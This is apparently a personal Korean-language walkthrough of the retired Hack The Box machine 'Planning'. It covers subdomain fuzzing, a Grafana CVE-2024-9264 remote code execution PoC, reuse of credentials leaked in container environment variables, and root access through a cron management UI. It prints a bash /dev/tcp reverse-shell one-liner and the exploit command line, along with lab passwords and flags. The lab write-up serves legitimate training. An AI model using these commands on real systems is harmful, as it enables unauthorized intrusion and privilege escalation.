← 전체 Write-Up

RedTeam / Hack The Box / RETIRED MACHINE

Planning

Grafana 공개 취약점 재현, 노출 인증정보를 이용한 호스트 접근과 작업 실행 분석.

읽기 안내

Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.

Planning

1. Recon

❯ nmap -sVC 10.129.97.127
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 01:24 KST
Nmap scan report for 10.129.97.127
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.54 seconds

Planning — 실습 화면 1

일단 열려있는 포트를 확인해보니 80이 열려있다. 브라우저로 접근했더니, planning.htb 라는 도메인이 표시된다. 도메인과 IP 를 /etc/hosts 에서 맞춰주자.

❯ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

10.129.97.127 planning.htb

/etc/hosts 에서 IP와 도메인 매칭 작업을 하는 이유는?

  1. HTB 환경의 구조적 이유
  2. HTB 머신들은 실제 인터넷 DNS에 등록된 도메인이 아니다.
  3. VPN을 통해 접근 가능한 가상 사설망 내부의 IP대역을 사용한다.
  4. 따라서 시스템이 internal.corp.htb를 DNS로 질의해도 응답할 DNS 서버가 존재하지 않는다.
    → 그래서 직접 /etc/hosts 에 명시함으로써 우리가 알려줘야하는 것이다.
  5. /etc/hosts의 역할
  6. /etc/hosts는 OS가 DNS 질의 전에 로컬에서 우선 참조하는 이름 해석 테이블이다.

Planning — 실습 화면 2

해당 페이지를 계속 둘러보고 하위 디렉토리 브루트포싱 해봐도 별 도움될 만한 것이 보이지 않는다. 그렇다면 어떤 서브도메인이 있는지 확인해보자.

ffuf 라는 gobuster, dirbuster의 나름 상위급?인 fuzzing 툴이 있어 이를 사용하여 subdomain brute force를 실행했다.

❯ ffuf -u http://planning.htb -H "Host: FUZZ.planning.htb" -w /usr/share/seclists/Discovery/DNS/namelist.txt -fs 178 -t 200


        /'___\\  /'___\\           /'___\\
       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/
       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\
        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/
         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\
          \\/_/    \\/_/   \\/___/    \\/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : <http://planning.htb>
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana            [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 237ms]
:: Progress: [151265/151265] :: Job [1/1] :: 850 req/sec :: Duration: [0:03:12] :: Errors: 0 ::
❯ curl -H "Host: grafana.planning.htb" http://planning.htb
<a href="/login">Found</a>.

grafana라는 서비스가 보인다. 해당 서브도메인도 /etc/hosts파일에 추가 후 브라우저로 접속해보면 grafana로그인 페이지가 보인다. 해당 서비스는 Grafana v11.0.0 버전을 사용한다. 일단 HTB에서 제시한 계정으로 로그인했다.

admin/0D5oT70Fq13EvB5r

CVE-2024-9264

Grafana v11.0.0 버전에 RCE 취약점이 존재한다. Github에 올라온 POC를 통해 쉘을 따자.

https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit.git
❯ python poc.py --url http://grafana.planning.htb:80 --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.63 --reverse-port 9999
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 9999

# id
uid=0(root) gid=0(root) groups=0(root)

파일들을 둘러보면 현재 docker container 안에 있다는 것을 알 수 있다. docker가 돌아가는 host로 escape 할 수 있는지 확인해보자.

Docker Escape

# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
OLDPWD=/usr/share/grafana/public
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=env
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana

환경변수를 보면, admin의 유저명, 비밀번호가 있다. SSH 붙어보자.

❯ ssh enzo@10.10.11.68
The authenticity of host '10.10.11.68 (10.10.11.68)' can't be established.
ED25519 key fingerprint is SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.68' (ED25519) to the list of known hosts.
enzo@10.10.11.68's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

enzo@planning:~$ sudo docker ps -a
CONTAINER ID   IMAGE          COMMAND     CREATED        STATUS        PORTS                      NAMES
7ce659d667d7   25547ac5f26a   "/run.sh"   2 months ago   Up 17 hours   127.0.0.1:3000->3000/tcp   unruffled_meninsky

docker 컨테이너에서 나와 호스트 서버에 직접 ssh 연결을 성공했다.

enzo@planning:~$ ls -al
total 980
drwxr-x--- 6 enzo enzo   4096 Jun 23 05:30 .
drwxr-xr-x 3 root root   4096 Feb 28 16:22 ..
lrwxrwxrwx 1 root root      9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo    220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 enzo enzo   3771 Mar 31  2024 .bashrc
drwx------ 2 enzo enzo   4096 Apr  3 13:49 .cache
drwx------ 3 enzo enzo   4096 Jun 23 05:26 .gnupg
-rwxrwxr-x 1 enzo enzo 954437 Jun  1 04:38 linpeas.sh
drwxrwxr-x 3 enzo enzo   4096 Jun 22 14:03 .local
-rw-r--r-- 1 enzo enzo    807 Mar 31  2024 .profile
drwx------ 2 enzo enzo   4096 Feb 28 16:22 .ssh
-rw-r--r-- 1 enzo enzo    175 Jun 23 05:30 ssh_host_ecdsa_key.pub
-rw-r----- 1 root enzo     33 Jun 22 13:55 user.txt
enzo@planning:~$ cat user.txt 
d7a23b51bc755ef21423e2291b32c700

일단 user.txt를 찾아 user flag를 획득했다. linpeas.sh 라는 파일도 있는데, 권한 상승에 도움을 주는 파일이라고 한다.

d7a23b51bc755ef21423e2291b32c700

ROOT FLAG

결과를 확인해보니 8000번에서 뭔가 작동중이다(3000번은 docker) 또한, docker container 안에서 봤던 crontab.db 파일이 존재하고 P4ssw0rdS0pRi0T3c 뭔가 비밀번호 처럼 생긴게 있다.

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (netstat)
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:38129         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -     

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /opt/crontabs/crontab.db: New Line Delimited JSON text data
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 967, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 6, database pages 16, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5

 -> Extracting tables from /var/lib/command-not-found/commands.db (limit 20)
 -> Extracting tables from /var/lib/fwupd/pending.db (limit 20)
 -> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
 
enzo@planning:~$ cat /opt/crontabs/crontab.db
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

enzo@planning:~$ netstat -ano | grep 8000
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      off (0.00/0/0)

8000번 포트에서 뭔가 하고 있는 것을 확인했다. 포트 포워딩하여 확인해보니 로그인 창이 뜨고 위에서 얻은 비밀번호로 root로그인에 성공했다.

Planning — 실습 화면 3

뭔가 명령어를 실행시킬 수 있는 것 같은데, reverse shell을 연결시키면 될 것 같다.

Planning — 실습 화면 4

마지막 reverse shell 이 안따져서 한참 고생했다. 되는 명령어가 있고 안되는 명령어가 있는 것 같다.

bash -c 'exec bash -i &>/dev/tcp/10.10.14.63/9999 <&1'
root@planning:~# cat root.txt
cat root.txt
4ec77a042f3fff61d9db14a7c8fde08c

4ec77a042f3fff61d9db14a7c8fde08c

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.